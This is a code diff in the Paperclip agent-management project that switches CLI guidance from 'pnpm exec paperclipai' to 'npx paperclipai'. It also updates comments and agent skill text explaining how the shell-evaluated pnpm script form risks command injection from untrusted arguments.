@@ -46,12 +46,12 @@ export function resolvePrivateHostnameAllowSet(opts: { allowedHostnames: string[
// requester controls it. Never put that value into the guidance command. An
// operator or an agent can paste the guidance into a shell, and that outer
// shell evaluates a backtick, `$( )`, or `$NAME` span in the host before any
-// CLI receives argv. A direct-exec form such as `pnpm exec` does not stop the
+// CLI receives argv. A direct-exec form such as `npx` does not stop the
// outer shell. Emit a static `<host>` placeholder and do not echo the raw request
// value. The operator supplies the real hostname.
const BLOCKED_HOSTNAME_MESSAGE =
"This hostname is not allowed for this Paperclip instance. " +
- "If you want to allow a hostname, run pnpm exec paperclipai allowed-hostname <host>.";
+ "If you want to allow a hostname, run npx paperclipai allowed-hostname <host>.";
export function privateHostnameGuard(opts: {
enabled: boolean;
@@ -72,7 +72,7 @@ export function privateHostnameGuard(opts: {
const wantsJson = req.path.startsWith("/api") || req.accepts(["json", "html", "text"]) === "json";
if (!hostname) {
- const error = "Missing Host header. If you want to allow a hostname, run pnpm exec paperclipai allowed-hostname <host>.";
+ const error = "Missing Host header. If you want to allow a hostname, run npx paperclipai allowed-hostname <host>.";
if (wantsJson) {
res.status(403).json({ error });
} else {
diff --git a/server/src/routes/access.ts b/server/src/routes/access.ts
index 5b29d2dac0..2ec129bce5 100644
--- a/server/src/routes/access.ts
+++ b/server/src/routes/access.ts
@@ -1646,9 +1646,9 @@ function buildOnboardingDiscoveryDiagnostics(input: {
// Never put that value into the guidance command. An operator or an agent
// can paste the command into a shell, and that outer shell evaluates a
// metacharacter span in the host before any CLI receives argv. A
- // direct-exec form such as `pnpm exec` does not stop the outer shell. Emit
+ // direct-exec form such as `npx` does not stop the outer shell. Emit
// a static `<host>` placeholder and keep the raw host in the message only.
- hint: `Run pnpm exec paperclipai allowed-hostname <host>`
+ hint: `Run npx paperclipai allowed-hostname <host>`
});
}
@@ -1782,7 +1782,7 @@ function buildInviteOnboardingManifest(
guidance:
opts.deploymentMode === "authenticated" &&
opts.deploymentExposure === "private"
- ? "If OpenClaw runs on another machine, ensure the Paperclip hostname is reachable and allowed via `pnpm exec paperclipai allowed-hostname <host>`."
+ ? "If OpenClaw runs on another machine, ensure the Paperclip hostname is reachable and allowed via `npx paperclipai allowed-hostname <host>`."
: "Ensure OpenClaw can reach this Paperclip API base URL for invite, claim, and skill bootstrap calls."
},
textInstructions: {
@@ -2005,7 +2005,7 @@ export function buildInviteOnboardingTextDocument(
If none are reachable: ask your human operator for a reachable hostname/address and help them update network configuration.
For authenticated/private mode, they may need:
- - pnpm exec paperclipai allowed-hostname <host>
+ - npx paperclipai allowed-hostname <host>
- then restart Paperclip and retry onboarding.
`);
}
diff --git a/server/src/services/company-export-readme.ts b/server/src/services/company-export-readme.ts
index f352828886..c313405925 100644
--- a/server/src/services/company-export-readme.ts
+++ b/server/src/services/company-export-readme.ts
@@ -157,7 +157,7 @@ export function generateReadme(
lines.push("## Getting Started");
lines.push("");
lines.push("```bash");
- lines.push("pnpm exec paperclipai company import this-github-url-or-folder");
+ lines.push("npx paperclipai company import this-github-url-or-folder");
lines.push("```");
lines.push("");
lines.push("See [Paperclip](https://paperclip.ing) for more information.");
diff --git a/server/src/startup-banner.ts b/server/src/startup-banner.ts
index a3ae2ed1a3..1b040da18f 100644
--- a/server/src/startup-banner.ts
+++ b/server/src/startup-banner.ts
@@ -93,7 +93,7 @@ function resolveAgentJwtSecretStatus(
return {
status: "warn",
- message: "missing (run `pnpm paperclipai onboard`)",
+ message: "missing (run `npx paperclipai onboard`)",
};
}
diff --git a/skills/paperclip-board/SKILL.md b/skills/paperclip-board/SKILL.md
index 318fcb72bc..c81966566a 100644
--- a/skills/paperclip-board/SKILL.md
+++ b/skills/paperclip-board/SKILL.md
@@ -30,7 +30,7 @@ You are a board-level assistant helping a human manage their AI-agent company th
Every time you begin a new conversation with the user:
-1. Check if `PAPERCLIP_API_URL` is set. If not, tell the user to run `pnpm paperclipai board setup`.
+1. Check if `PAPERCLIP_API_URL` is set. If not, tell the user to run `npx paperclipai board setup`.
2. Check if `PAPERCLIP_COMPANY_ID` is set.
- If set: fetch the dashboard to understand current state.
- If not set: list companies to see if any exist, or guide through company creation.
diff --git a/skills/paperclip/SKILL.md b/skills/paperclip/SKILL.md
index 3988713700..dd35e1ad38 100644
--- a/skills/paperclip/SKILL.md
+++ b/skills/paperclip/SKILL.md
@@ -23,7 +23,7 @@ Some adapters also inject `PAPERCLIP_WAKE_PAYLOAD_JSON` on comment-driven wakes.
Manual local CLI mode (outside heartbeat runs): use `paperclipai agent local-cli <agent-id-or-shortname> --company-id <company-id>` to install Paperclip skills for Claude/Codex and print/export the required `PAPERCLIP_*` environment variables for that agent identity.
-**CLI safety — use `pnpm exec paperclipai` for content-bearing arguments.** When you run the Paperclip CLI, use `pnpm exec paperclipai` for any argument that can hold untrusted content. Untrusted content includes issue text, comment bodies, Markdown, pasted snippets, and model output. `pnpm exec` runs the installed binary directly and passes the argument as an inert `argv` value. Do not use `pnpm paperclipai` for such an argument. The safe form and the unsafe form differ only by the `exec` keyword, so read the command with care. `pnpm paperclipai` is a `package.json` script; `pnpm` runs the argument through `/bin/sh` first. The shell then interprets a backtick pair, `$( )`, `$NAME`, and `; | & < >` before the CLI starts. A crafted value can run an arbitrary command as the invoking user, or expand an environment variable into the stored argument. `npx paperclipai` is also injection-safe; use it when no local install is present. See `doc/CLI.md` for the full safe/unsafe matrix.
+**CLI safety — use `npx paperclipai` for content-bearing arguments.** When you run the Paperclip CLI, use `npx paperclipai` for any argument that can hold untrusted content. Untrusted content includes issue text, comment bodies, Markdown, pasted snippets, and model output. `npx paperclipai` runs the CLI binary directly and passes the argument as an inert `argv` value; it does not run a shell over the value. Do not use `pnpm paperclipai` for such an argument. `pnpm paperclipai` is a `package.json` script; `pnpm` appends the argument to a `/bin/sh` command string, so the shell reads it first and interprets a backtick pair, `$( )`, or `$NAME` before the CLI starts. A crafted value can run an arbitrary command as the invoking user, or expand an environment variable into the stored argument. This risk stays even when the argument comes from a quoted shell variable, because `pnpm` re-evaluates the value in its own shell. Do not use `pnpm exec paperclipai` either; the root workspace does not link that binary, so the command fails with `Command "paperclipai" not found`. To run local `cli/src` changes with a content-bearing argument, use `node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts <command> <args>`. See `doc/CLI.md` for the full safe/unsafe matrix.
**Run audit trail:** You MUST include `-H 'X-Paperclip-Run-Id: $PAPERCLIP_RUN_ID'` on ALL API requests that modify issues (checkout, update, comment, create subtask, release). This links your actions to the current heartbeat run for traceability.
diff --git a/ui/src/App.test.tsx b/ui/src/App.test.tsx
index 4383317913..ff00e41c09 100644
--- a/ui/src/App.test.tsx
+++ b/ui/src/App.test.tsx
@@ -160,7 +160,7 @@ describe("CloudAccessGate", () => {
expect(container.textContent).toContain("Finish setting up this Paperclip");
expect(container.textContent).toContain("Sign in / Create account");
- expect(container.textContent).toContain("pnpm paperclipai auth bootstrap-ceo");
+ expect(container.textContent).toContain("npx paperclipai auth bootstrap-ceo");
expect(mockAccessApi.getCurrentBoardAccess).not.toHaveBeenCalled();
unmountRoot(root);
diff --git a/ui/src/bootstrapSetup.ts b/ui/src/bootstrapSetup.ts
index 83ebeba84f..43b55f32ab 100644
--- a/ui/src/bootstrapSetup.ts
+++ b/ui/src/bootstrapSetup.ts
@@ -1 +1 @@
-export const BOOTSTRAP_FALLBACK_COMMAND = "pnpm paperclipai auth bootstrap-ceo";
+export const BOOTSTRAP_FALLBACK_COMMAND = "npx paperclipai auth bootstrap-ceo";
diff --git a/ui/src/lib/agent-onboarding-prompt.ts b/ui/src/lib/agent-onboarding-prompt.ts
index 2bbdd5c792..5346b3c9a6 100644
--- a/ui/src/lib/agent-onboarding-prompt.ts
+++ b/ui/src/lib/agent-onboarding-prompt.ts
@@ -18,13 +18,13 @@ export function buildAgentOnboardingPrompt(input: AgentOnboardingPromptInput) {
? `No candidate URLs are available. Ask the operator to configure a reachable Paperclip hostname, then retry.
Suggested steps for the operator:
- choose a hostname that resolves to the Paperclip host from your runtime
-- run: pnpm exec paperclipai allowed-hostname <host>
+- run: npx paperclipai allowed-hostname <host>
- restart Paperclip
- verify with: curl -fsS http://<host>:3100/api/health
- regenerate this agent onboarding prompt`
: `If none are reachable, ask the operator to add a reachable Paperclip hostname, restart, and retry.
Suggested command for the operator:
-- pnpm exec paperclipai allowed-hostname <host>
+- npx paperclipai allowed-hostname <host>
Then verify with: curl -fsS <base-url>/api/health`;
const resolutionLine = resolutionTestUrl
diff --git a/ui/src/pages/CompanyExport.tsx b/ui/src/pages/CompanyExport.tsx
index 365a5721bc..424a322580 100644
--- a/ui/src/pages/CompanyExport.tsx
+++ b/ui/src/pages/CompanyExport.tsx
@@ -484,7 +484,7 @@ function generateReadmeFromSelection(
lines.push("## Getting Started");
lines.push("");
lines.push("```bash");
- lines.push("pnpm exec paperclipai company import this-github-url-or-folder");
+ lines.push("npx paperclipai company import this-github-url-or-folder");
lines.push("```");
lines.push("");
lines.push("See [Paperclip](https://paperclip.ing) for more information.");